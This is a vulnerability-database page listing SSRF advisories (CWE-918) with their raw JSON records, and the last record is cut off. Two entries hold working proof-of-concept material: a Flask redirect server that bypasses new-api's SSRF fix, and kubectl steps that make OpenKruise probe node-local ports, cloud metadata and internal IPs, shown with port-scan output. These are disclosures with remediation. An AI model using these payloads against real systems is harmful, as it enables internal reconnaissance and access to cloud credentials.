Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4755 vulnerabilities reference this CWE, most recent first.

GHSA-9F2V-7RWV-4Q3W

Vulnerability from github – Published: 2022-05-24 17:33 – Updated: 2022-05-24 17:33
VLAI
Details

The Canto plugin 1.3.0 for WordPress allows includes/lib/download.php?subdomain= SSRF.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-24063"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-10T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "The Canto plugin 1.3.0 for WordPress allows includes/lib/download.php?subdomain= SSRF.",
  "id": "GHSA-9f2v-7rwv-4q3w",
  "modified": "2022-05-24T17:33:55Z",
  "published": "2022-05-24T17:33:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24063"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/Hakooraevil/264cb21034f946eee62371e9111c36bb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/CantoDAM/Canto-Wordpress-Plugin"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/canto/#developers"
    },
    {
      "type": "WEB",
      "url": "https://www.canto.com/integrations/wordpress"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-9F34-MR4G-F835

Vulnerability from github – Published: 2024-01-19 03:30 – Updated: 2024-01-19 03:30
VLAI
Details

IBM Maximo Spatial Asset Management 8.10 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 255288.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-32337"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-19T02:15:07Z",
    "severity": "MODERATE"
  },
  "details": "IBM Maximo Spatial Asset Management 8.10 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.  IBM X-Force ID:  255288.",
  "id": "GHSA-9f34-mr4g-f835",
  "modified": "2024-01-19T03:30:22Z",
  "published": "2024-01-19T03:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32337"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/255288"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7107712"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9F46-W24H-69W4

Vulnerability from github – Published: 2025-11-24 20:05 – Updated: 2025-12-17 00:31
VLAI
Summary
new-api is vulnerable to SSRF Bypass
Details

Summary

A recently patched SSRF vulnerability contains a bypass method that can bypass the existing security fix and still allow SSRF to occur. Because the existing fix only applies security restrictions to the first URL request, a 302 redirect can bypass existing security measures and successfully access the intranet.

Details

Use the following script to deploy on the attacker's server. Since ports 80, 443, and 8080 are default ports within the security range set by the administrator and will not be blocked, the service is deployed on port 8080.

from flask import Flask, redirect  

app = Flask(__name__)  

@app.route('/redirect')  
def ssrf_redirect():  
    return redirect('http://127.0.0.1:8003/uid.txt', code=302)  

if __name__ == '__main__':  
    app.run(host='0.0.0.0', port=8080)

Then, a request is made to the malicious service opened by the attacker, and it can be found that the resources on the intranet are successfully accessed. image At the same time, the locally opened service 127.0.0.1:8083/uid.txt also received related requests. image

Impact

Using 302 redirects to bypass previous SSRF security fixes

Severity
8.5 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/QuantumNous/new-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62155"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-24T20:05:21Z",
    "nvd_published_at": "2025-11-25T00:15:46Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA recently patched SSRF vulnerability contains a bypass method that can bypass the existing security fix and still allow SSRF to occur.\nBecause the existing fix only applies security restrictions to the first URL request, a 302 redirect can bypass existing security measures and successfully access the intranet.\n\n### Details\nUse the following script to deploy on the attacker\u0027s server. Since ports 80, 443, and 8080 are default ports within the security range set by the administrator and will not be blocked, the service is deployed on port 8080.\n```\nfrom flask import Flask, redirect  \n  \napp = Flask(__name__)  \n  \n@app.route(\u0027/redirect\u0027)  \ndef ssrf_redirect():  \n    return redirect(\u0027http://127.0.0.1:8003/uid.txt\u0027, code=302)  \n  \nif __name__ == \u0027__main__\u0027:  \n    app.run(host=\u00270.0.0.0\u0027, port=8080)\n```\nThen, a request is made to the malicious service opened by the attacker, and it can be found that the resources on the intranet are successfully accessed.\n\u003cimg width=\"663\" height=\"60\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2f296cff-510d-4cfe-8509-518e747bf8fe\" /\u003e\nAt the same time, the locally opened service 127.0.0.1:8083/uid.txt also received related requests.\n\u003cimg width=\"717\" height=\"79\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d6b6d2cc-280b-45b5-9946-10b7891bf017\" /\u003e\n\n### Impact\nUsing 302 redirects to bypass previous SSRF security fixes",
  "id": "GHSA-9f46-w24h-69w4",
  "modified": "2025-12-17T00:31:18Z",
  "published": "2025-11-24T20:05:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/QuantumNous/new-api/security/advisories/GHSA-9f46-w24h-69w4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62155"
    },
    {
      "type": "WEB",
      "url": "https://github.com/QuantumNous/new-api/commit/e8966c73746d35bb7f4f014ad1195a96d445cacd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/QuantumNous/new-api"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "new-api is vulnerable to SSRF Bypass"
}

GHSA-9F68-5HCG-8WW5

Vulnerability from github – Published: 2024-08-12 18:30 – Updated: 2024-08-15 00:30
VLAI
Details

An issue in Prestashop v.8.1.7 and before allows a remote attacker to execute arbitrary code via the module upgrade functionality.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-41651"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-12T17:15:17Z",
    "severity": "CRITICAL"
  },
  "details": "An issue in Prestashop v.8.1.7 and before allows a remote attacker to execute arbitrary code via the module upgrade functionality.",
  "id": "GHSA-9f68-5hcg-8ww5",
  "modified": "2024-08-15T00:30:59Z",
  "published": "2024-08-12T18:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41651"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Fckroun/CVE-2024-41651/tree/main"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9FCJ-8W2V-J38F

Vulnerability from github – Published: 2026-02-22 15:30 – Updated: 2026-02-22 15:30
VLAI
Details

A weakness has been identified in JeecgBoot 3.9.0. Affected by this vulnerability is an unknown functionality of the file /sys/common/uploadImgByHttp. Executing a manipulation of the argument fileUrl can lead to server-side request forgery. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-2945"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-22T13:16:12Z",
    "severity": "MODERATE"
  },
  "details": "A weakness has been identified in JeecgBoot 3.9.0. Affected by this vulnerability is an unknown functionality of the file /sys/common/uploadImgByHttp. Executing a manipulation of the argument fileUrl can lead to server-side request forgery. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-9fcj-8w2v-j38f",
  "modified": "2026-02-22T15:30:13Z",
  "published": "2026-02-22T15:30:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2945"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.347315"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.347315"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.754590"
    },
    {
      "type": "WEB",
      "url": "https://www.yuque.com/la12138/vxbwk9/glws4ppukxqtpfhl?singleDoc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-9FJ4-3849-RV9G

Vulnerability from github – Published: 2026-02-25 18:30 – Updated: 2026-02-27 21:48
VLAI
Summary
OpenKruise PodProbeMarker is Vulnerable to SSRF via Unrestricted Host Field
Details

Summary

PodProbeMarker allows defining custom probes with TCPSocket or HTTPGet handlers. The webhook validation does not restrict the Host field in these probe configurations. Since kruise-daemon runs with hostNetwork=true, it executes probes from the node network namespace. An attacker with PodProbeMarker creation permission can specify arbitrary Host values (127.0.0.1, 169.254.169.254, internal IPs) to trigger SSRF from the node, perform port scanning, and receive response feedback through NodePodProbe status messages.

Kubernetes Version

  • Kubernetes: v1.30.0 (kind cluster)
  • Distribution: kind

Component Version

  • OpenKruise: v1.8.0
  • kruise-daemon: DaemonSet with hostNetwork=true
  • Affected CRDs: PodProbeMarker, NodePodProbe

Steps To Reproduce

Environment Setup

  1. Install OpenKruise v1.8.0 in kind cluster:
helm repo add openkruise https://openkruise.github.io/charts/
helm install kruise openkruise/kruise --version 1.8.0 \
  --namespace kruise-system --create-namespace
  1. Verify kruise-daemon runs with hostNetwork:
kubectl -n kruise-system get ds kruise-daemon -o yaml | grep hostNetwork

Output:

hostNetwork: true
  1. Create test namespace and RBAC:
kubectl apply -f - <<EOF
apiVersion: v1
kind: Namespace
metadata:
  name: tenant-a
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: attacker
  namespace: tenant-a
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: ppm-creator
  namespace: tenant-a
rules:
- apiGroups: ["apps.kruise.io"]
  resources: ["podprobemarkers"]
  verbs: ["create","get","list","watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: ppm-creator-binding
  namespace: tenant-a
subjects:
- kind: ServiceAccount
  name: attacker
  namespace: tenant-a
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: ppm-creator
EOF
  1. Deploy victim workload:
kubectl apply -f - <<EOF
apiVersion: apps/v1
kind: Deployment
metadata:
  name: victim
  namespace: tenant-a
spec:
  replicas: 1
  selector:
    matchLabels:
      app: victim
  template:
    metadata:
      labels:
        app: victim
    spec:
      containers:
      - name: victim
        image: busybox:1.36
        command: ["/bin/sh","-c","sleep 36000"]
EOF

Exploitation Steps

  1. Verify node-local port accessibility (kubelet healthz):
NODE_CONTAINER=$(docker ps --format '{{.Names}}' | grep control-plane)
docker exec $NODE_CONTAINER curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:10248/healthz

Output:

200
  1. Create SSRF PodProbeMarker targeting node-local port (as attacker):
kubectl -n tenant-a apply --as system:serviceaccount:tenant-a:attacker -f - <<EOF
apiVersion: apps.kruise.io/v1alpha1
kind: PodProbeMarker
metadata:
  name: ppm-tcp-ssrf
  namespace: tenant-a
spec:
  selector:
    matchLabels:
      app: victim
  probes:
  - name: tcp-ssrf
    containerName: victim
    podConditionType: ssrf.kruise.io/tcp
    probe:
      tcpSocket:
        host: 127.0.0.1
        port: 10248
      timeoutSeconds: 2
      periodSeconds: 5
EOF

Output:

podprobemarker.apps.kruise.io/ppm-tcp-ssrf created
  1. Wait for probe execution and observe SSRF result:
sleep 10
NODE_NAME=$(kubectl get nodes -o jsonpath='{.items[0].metadata.name}')
kubectl get nodepodprobe $NODE_NAME -o yaml | grep -A 20 "ppm-tcp-ssrf"

Output:

      name: ppm-tcp-ssrf#tcp-ssrf
      probe:
        tcpSocket:
          host: 127.0.0.1
          port: 10248
status:
  podProbeStatuses:
  - name: victim-8596ff64d6-jklnb
    namespace: tenant-a
    probeStates:
    - lastProbeTime: "2026-01-13T17:48:10Z"
      name: ppm-tcp-ssrf#tcp-ssrf
      state: Succeeded

Evidence: Probe succeeded, confirming kruise-daemon accessed node-local port 127.0.0.1:10248 from node network namespace.

  1. Demonstrate port scanning capability (closed port):
kubectl -n tenant-a apply --as system:serviceaccount:tenant-a:attacker -f - <<EOF
apiVersion: apps.kruise.io/v1alpha1
kind: PodProbeMarker
metadata:
  name: ppm-tcp-closed
  namespace: tenant-a
spec:
  selector:
    matchLabels:
      app: victim
  probes:
  - name: tcp-closed
    containerName: victim
    podConditionType: ssrf.kruise.io/tcp-closed
    probe:
      tcpSocket:
        host: 127.0.0.1
        port: 9999
      timeoutSeconds: 2
      periodSeconds: 5
EOF
  1. Observe port scanning result:
kubectl get nodepodprobe $NODE_NAME -o yaml | grep -A 5 "ppm-tcp-closed"

Output:

    - lastProbeTime: "2026-01-13T17:51:08Z"
      message: 'dial tcp 127.0.0.1:9999: connect: connection refused'
      name: ppm-tcp-closed#tcp-closed
      state: Failed

Evidence: Failed probe with "connection refused" message enables port state differentiation for scanning.

  1. Verify Pod condition and events:
VICTIM_POD=$(kubectl -n tenant-a get pod -l app=victim -o jsonpath='{.items[0].metadata.name}')
kubectl -n tenant-a describe pod $VICTIM_POD | grep -A 10 "Conditions:"

Output:

Conditions:
  Type                        Status
  ssrf.kruise.io/tcp          True
  ssrf.kruise.io/tcp-closed   False

Events:
  Normal  KruiseProbeSucceeded  96s (x24 over 3m26s)  kruise-daemon-podprobe

Source Code Evidence

  1. TCPSocket Host field used without restriction:

File: pkg/daemon/podprobe/prober.go

func (pb *prober) newTCPSocketProber(tcp *v1.TCPSocketAction, podIP string) tcpProber {
    host := tcp.Host
    if host == "" {
        host = podIP
    }
    return tcpProber{
        tcp: tcp,
        host: host,
    }
}
  1. Webhook validation does not check Host field:

File: pkg/webhook/podprobemarker/validating/probe_create_update_handler.go

func validateTCPSocketAction(tcp *corev1.TCPSocketAction, fldPath *field.Path) field.ErrorList {
    return ValidatePortNumOrName(tcp.Port, fldPath.Child("port"))
}

Note: Only port validation, no Host restriction.

Attack Scenarios

Scenario 1 - Cloud metadata access:

probe:
  tcpSocket:
    host: 169.254.169.254
    port: 80

Scenario 2 - Internal service discovery:

probe:
  tcpSocket:
    host: 10.0.0.1
    port: 6379

Scenario 3 - Node-local kubelet API:

probe:
  tcpSocket:
    host: 127.0.0.1
    port: 10250

Supporting Material/References

Verification Evidence

  1. kruise-daemon hostNetwork configuration:
$ kubectl -n kruise-system get ds kruise-daemon -o yaml | grep -A 2 "hostNetwork"
      hostNetwork: true
      restartPolicy: Always
  1. Successful SSRF to open port (127.0.0.1:10248):
status:
  podProbeStatuses:
    probeStates:
    - name: ppm-tcp-ssrf#tcp-ssrf
      state: Succeeded
  1. Port scanning result for closed port (127.0.0.1:9999):
status:
  podProbeStatuses:
    probeStates:
    - message: 'dial tcp 127.0.0.1:9999: connect: connection refused'
      name: ppm-tcp-closed#tcp-closed
      state: Failed
  1. Pod condition reflecting probe results:
Conditions:
  Type                        Status
  ssrf.kruise.io/tcp          True
  ssrf.kruise.io/tcp-closed   False

Impact Assessment

  • Confidentiality: Medium-High. Access to node-local services, cloud metadata, internal network resources.
  • Integrity: Low. Primarily information disclosure.
  • Availability: Medium. Resource consumption from probe requests.

Limitations

HTTPGet probe rejected by webhook in OpenKruise v1.8.0:

Error: admission webhook denied the request: spec.probe.probe: Forbidden: current no support http probe

TCPSocket probe remains vulnerable.

Remediation

Temporary mitigation: - Restrict PodProbeMarker creation permissions - Apply network policies limiting kruise-daemon egress - Audit existing PodProbeMarker resources

Permanent fix: - Enforce Host field restrictions in webhook validation - Deny private IP ranges (127.0.0.0/8, 10.0.0.0/8, 169.254.0.0/16) - Require Host to be empty or equal to PodIP - Sanitize error messages in NodePodProbe status

Verification Environment: kind v1.30.0 + OpenKruise v1.8.0

Severity
0.0 (None)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/openkruise/kruise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.8.0"
            },
            {
              "fixed": "1.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/openkruise/kruise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24005"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T18:30:40Z",
    "nvd_published_at": "2026-02-25T19:43:21Z",
    "severity": "LOW"
  },
  "details": "## Summary\n\nPodProbeMarker allows defining custom probes with TCPSocket or HTTPGet handlers. The webhook validation does not restrict the Host field in these probe configurations. Since kruise-daemon runs with hostNetwork=true, it executes probes from the node network namespace. An attacker with PodProbeMarker creation permission can specify arbitrary Host values (127.0.0.1, 169.254.169.254, internal IPs) to trigger SSRF from the node, perform port scanning, and receive response feedback through NodePodProbe status messages.\n\n## Kubernetes Version\n\n- Kubernetes: v1.30.0 (kind cluster)\n- Distribution: kind\n\n## Component Version\n\n- OpenKruise: v1.8.0\n- kruise-daemon: DaemonSet with hostNetwork=true\n- Affected CRDs: PodProbeMarker, NodePodProbe\n\n## Steps To Reproduce\n\n### Environment Setup\n\n1. Install OpenKruise v1.8.0 in kind cluster:\n```bash\nhelm repo add openkruise https://openkruise.github.io/charts/\nhelm install kruise openkruise/kruise --version 1.8.0 \\\n  --namespace kruise-system --create-namespace\n```\n\n2. Verify kruise-daemon runs with hostNetwork:\n```bash\nkubectl -n kruise-system get ds kruise-daemon -o yaml | grep hostNetwork\n```\nOutput:\n```\nhostNetwork: true\n```\n\n3. Create test namespace and RBAC:\n```bash\nkubectl apply -f - \u003c\u003cEOF\napiVersion: v1\nkind: Namespace\nmetadata:\n  name: tenant-a\n---\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: attacker\n  namespace: tenant-a\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: Role\nmetadata:\n  name: ppm-creator\n  namespace: tenant-a\nrules:\n- apiGroups: [\"apps.kruise.io\"]\n  resources: [\"podprobemarkers\"]\n  verbs: [\"create\",\"get\",\"list\",\"watch\"]\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: RoleBinding\nmetadata:\n  name: ppm-creator-binding\n  namespace: tenant-a\nsubjects:\n- kind: ServiceAccount\n  name: attacker\n  namespace: tenant-a\nroleRef:\n  apiGroup: rbac.authorization.k8s.io\n  kind: Role\n  name: ppm-creator\nEOF\n```\n\n4. Deploy victim workload:\n```bash\nkubectl apply -f - \u003c\u003cEOF\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: victim\n  namespace: tenant-a\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      app: victim\n  template:\n    metadata:\n      labels:\n        app: victim\n    spec:\n      containers:\n      - name: victim\n        image: busybox:1.36\n        command: [\"/bin/sh\",\"-c\",\"sleep 36000\"]\nEOF\n```\n\n### Exploitation Steps\n\n5. Verify node-local port accessibility (kubelet healthz):\n```bash\nNODE_CONTAINER=$(docker ps --format \u0027{{.Names}}\u0027 | grep control-plane)\ndocker exec $NODE_CONTAINER curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:10248/healthz\n```\nOutput:\n```\n200\n```\n\n6. Create SSRF PodProbeMarker targeting node-local port (as attacker):\n```bash\nkubectl -n tenant-a apply --as system:serviceaccount:tenant-a:attacker -f - \u003c\u003cEOF\napiVersion: apps.kruise.io/v1alpha1\nkind: PodProbeMarker\nmetadata:\n  name: ppm-tcp-ssrf\n  namespace: tenant-a\nspec:\n  selector:\n    matchLabels:\n      app: victim\n  probes:\n  - name: tcp-ssrf\n    containerName: victim\n    podConditionType: ssrf.kruise.io/tcp\n    probe:\n      tcpSocket:\n        host: 127.0.0.1\n        port: 10248\n      timeoutSeconds: 2\n      periodSeconds: 5\nEOF\n```\nOutput:\n```\npodprobemarker.apps.kruise.io/ppm-tcp-ssrf created\n```\n\n7. Wait for probe execution and observe SSRF result:\n```bash\nsleep 10\nNODE_NAME=$(kubectl get nodes -o jsonpath=\u0027{.items[0].metadata.name}\u0027)\nkubectl get nodepodprobe $NODE_NAME -o yaml | grep -A 20 \"ppm-tcp-ssrf\"\n```\nOutput:\n```yaml\n      name: ppm-tcp-ssrf#tcp-ssrf\n      probe:\n        tcpSocket:\n          host: 127.0.0.1\n          port: 10248\nstatus:\n  podProbeStatuses:\n  - name: victim-8596ff64d6-jklnb\n    namespace: tenant-a\n    probeStates:\n    - lastProbeTime: \"2026-01-13T17:48:10Z\"\n      name: ppm-tcp-ssrf#tcp-ssrf\n      state: Succeeded\n```\n\nEvidence: Probe succeeded, confirming kruise-daemon accessed node-local port 127.0.0.1:10248 from node network namespace.\n\n8. Demonstrate port scanning capability (closed port):\n```bash\nkubectl -n tenant-a apply --as system:serviceaccount:tenant-a:attacker -f - \u003c\u003cEOF\napiVersion: apps.kruise.io/v1alpha1\nkind: PodProbeMarker\nmetadata:\n  name: ppm-tcp-closed\n  namespace: tenant-a\nspec:\n  selector:\n    matchLabels:\n      app: victim\n  probes:\n  - name: tcp-closed\n    containerName: victim\n    podConditionType: ssrf.kruise.io/tcp-closed\n    probe:\n      tcpSocket:\n        host: 127.0.0.1\n        port: 9999\n      timeoutSeconds: 2\n      periodSeconds: 5\nEOF\n```\n\n9. Observe port scanning result:\n```bash\nkubectl get nodepodprobe $NODE_NAME -o yaml | grep -A 5 \"ppm-tcp-closed\"\n```\nOutput:\n```yaml\n    - lastProbeTime: \"2026-01-13T17:51:08Z\"\n      message: \u0027dial tcp 127.0.0.1:9999: connect: connection refused\u0027\n      name: ppm-tcp-closed#tcp-closed\n      state: Failed\n```\n\nEvidence: Failed probe with \"connection refused\" message enables port state differentiation for scanning.\n\n10. Verify Pod condition and events:\n```bash\nVICTIM_POD=$(kubectl -n tenant-a get pod -l app=victim -o jsonpath=\u0027{.items[0].metadata.name}\u0027)\nkubectl -n tenant-a describe pod $VICTIM_POD | grep -A 10 \"Conditions:\"\n```\nOutput:\n```\nConditions:\n  Type                        Status\n  ssrf.kruise.io/tcp          True\n  ssrf.kruise.io/tcp-closed   False\n\nEvents:\n  Normal  KruiseProbeSucceeded  96s (x24 over 3m26s)  kruise-daemon-podprobe\n```\n\n### Source Code Evidence\n\n11. TCPSocket Host field used without restriction:\n\nFile: `pkg/daemon/podprobe/prober.go`\n```go\nfunc (pb *prober) newTCPSocketProber(tcp *v1.TCPSocketAction, podIP string) tcpProber {\n    host := tcp.Host\n    if host == \"\" {\n        host = podIP\n    }\n    return tcpProber{\n        tcp: tcp,\n        host: host,\n    }\n}\n```\n\n12. Webhook validation does not check Host field:\n\nFile: `pkg/webhook/podprobemarker/validating/probe_create_update_handler.go`\n```go\nfunc validateTCPSocketAction(tcp *corev1.TCPSocketAction, fldPath *field.Path) field.ErrorList {\n    return ValidatePortNumOrName(tcp.Port, fldPath.Child(\"port\"))\n}\n```\n\nNote: Only port validation, no Host restriction.\n\n### Attack Scenarios\n\nScenario 1 - Cloud metadata access:\n```yaml\nprobe:\n  tcpSocket:\n    host: 169.254.169.254\n    port: 80\n```\n\nScenario 2 - Internal service discovery:\n```yaml\nprobe:\n  tcpSocket:\n    host: 10.0.0.1\n    port: 6379\n```\n\nScenario 3 - Node-local kubelet API:\n```yaml\nprobe:\n  tcpSocket:\n    host: 127.0.0.1\n    port: 10250\n```\n\n## Supporting Material/References\n\n### Verification Evidence\n\n1. kruise-daemon hostNetwork configuration:\n```bash\n$ kubectl -n kruise-system get ds kruise-daemon -o yaml | grep -A 2 \"hostNetwork\"\n      hostNetwork: true\n      restartPolicy: Always\n```\n\n2. Successful SSRF to open port (127.0.0.1:10248):\n```yaml\nstatus:\n  podProbeStatuses:\n    probeStates:\n    - name: ppm-tcp-ssrf#tcp-ssrf\n      state: Succeeded\n```\n\n3. Port scanning result for closed port (127.0.0.1:9999):\n```yaml\nstatus:\n  podProbeStatuses:\n    probeStates:\n    - message: \u0027dial tcp 127.0.0.1:9999: connect: connection refused\u0027\n      name: ppm-tcp-closed#tcp-closed\n      state: Failed\n```\n\n4. Pod condition reflecting probe results:\n```\nConditions:\n  Type                        Status\n  ssrf.kruise.io/tcp          True\n  ssrf.kruise.io/tcp-closed   False\n```\n\n### Impact Assessment\n\n- Confidentiality: Medium-High. Access to node-local services, cloud metadata, internal network resources.\n- Integrity: Low. Primarily information disclosure.\n- Availability: Medium. Resource consumption from probe requests.\n\n### Limitations\n\nHTTPGet probe rejected by webhook in OpenKruise v1.8.0:\n```\nError: admission webhook denied the request: spec.probe.probe: Forbidden: current no support http probe\n```\n\nTCPSocket probe remains vulnerable.\n\n### Remediation\n\nTemporary mitigation:\n- Restrict PodProbeMarker creation permissions\n- Apply network policies limiting kruise-daemon egress\n- Audit existing PodProbeMarker resources\n\nPermanent fix:\n- Enforce Host field restrictions in webhook validation\n- Deny private IP ranges (127.0.0.0/8, 10.0.0.0/8, 169.254.0.0/16)\n- Require Host to be empty or equal to PodIP\n- Sanitize error messages in NodePodProbe status\n\n---\n\n**Verification Environment**: kind v1.30.0 + OpenKruise v1.8.0",
  "id": "GHSA-9fj4-3849-rv9g",
  "modified": "2026-02-27T21:48:39Z",
  "published": "2026-02-25T18:30:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openkruise/kruise/security/advisories/GHSA-9fj4-3849-rv9g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24005"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openkruise/kruise/commit/94364b76adf3e8a1749a31afe809a163bed29613"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openkruise/kruise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openkruise/kruise/releases/tag/v1.7.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openkruise/kruise/releases/tag/v1.8.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenKruise PodProbeMarker is Vulnerable to SSRF via Unrestricted Host Field"
}

GHSA-9FJV-PX63-6JVJ

Vulnerability from github – Published: 2025-05-19 09:31 – Updated: 2025-05-19 09:31
VLAI
Details

Server-side request forgery vulnerability exists in a-blog cms multiple versions. If this vulnerability is exploited, a remote unauthenticated attacker may gain access to sensitive information by sending a specially crafted request.

Severity
8.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
9.2 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-36560"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-19T09:15:24Z",
    "severity": "CRITICAL"
  },
